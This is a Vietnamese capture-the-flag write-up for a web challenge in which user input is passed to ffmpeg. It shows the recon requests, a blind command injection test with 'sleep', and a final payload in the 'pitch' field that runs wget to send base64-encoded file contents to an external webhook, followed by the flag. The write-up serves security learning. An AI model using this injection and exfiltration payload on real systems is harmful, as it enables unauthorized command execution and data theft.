# Task ![image](https://hackmd.io/_uploads/Hk25yuzYT.png) ## Recon Trang này chỉ có duy nhất một chức năng đó chính là ghi âm rồi gửi lại cho người ghi âm lại giọng nói rồi submit lên server Request ```java= POST /upload HTTP/1.1 Host: uoftctf-voice-changer.chals.io Content-Length: 287 Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXqe70Nmh9vAkyYDE X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://uoftctf-voice-changer.chals.io Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://uoftctf-voice-changer.chals.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=1, i Connection: close ------WebKitFormBoundaryXqe70Nmh9vAkyYDE Content-Disposition: form-data; name="pitch" 1 ------WebKitFormBoundaryXqe70Nmh9vAkyYDE Content-Disposition: form-data; name="input-file"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryXqe70Nmh9vAkyYDE-- ``` Response ```java= HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 1956 ETag: W/"7a4-4DOuY7MTZ0FeNn7JOZDK79J4cvY" Date: Mon, 15 Jan 2024 08:35:30 GMT Connection: close {"file":"/output/0a99f8c0-b381-11ee-a390-af2c9deb177f.ogg","output":"$ ffmpeg -i \"/app/upload/0a99f8c0-b381-11ee-a390-af2c9deb177f.ogg\" -y -af \"asetrate=44100*1,aresample=44100,atempo=1/1\" \"/app/output/0a99f8c0-b381-11ee-a390-af2c9deb177f.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\n[ogg @ 0x7f285fe79600] Format ogg detected only with low score of 1, misdetection possible!\n[in#0 @ 0x7f285ff6f8c0] Error opening input: End of file\nError opening input file /app/upload/0a99f8c0-b381-11ee-a390-af2c9deb177f.ogg.\nError opening input files: End of file\n"} ``` Có thể thấy được rằng chương trình sử dụng ffmpeg để có thể làm việc với cái bản ghi nên ta có thể thấy được rằng phải đi theo hướng command injection hay cụ thể hơn là blind command injeciton do hệ thống chỉ có thể trả ra được kết quả cố định của việc chạy ffmpeg thôi Ta có thể thử một payload như sau Payload ```= ------WebKitFormBoundaryXqe70Nmh9vAkyYDE Content-Disposition: form-data; name="pitch" 1$(sleep 10) ``` Ngay lập tức ta có thể thấy được rằng ![image](https://hackmd.io/_uploads/HydZfuGtp.png) Response đã bị delay nên mình quyết định triển khai payload như sau ```javascript= ------WebKitFormBoundaryXqe70Nmh9vAkyYDE Content-Disposition: form-data; name="pitch" 1$(wget https://webhook.site/55832c34-398b-45c9-9e92-fa0edebd99b8?flag=`cat /* | base64`) ``` Ở webhook ta có ![image](https://hackmd.io/_uploads/rkDT7_MFT.png) Decode ra và lấy flag thôi ## Flag ```= uoftctf{Y0UR Pitch IS 70O H!9H} ```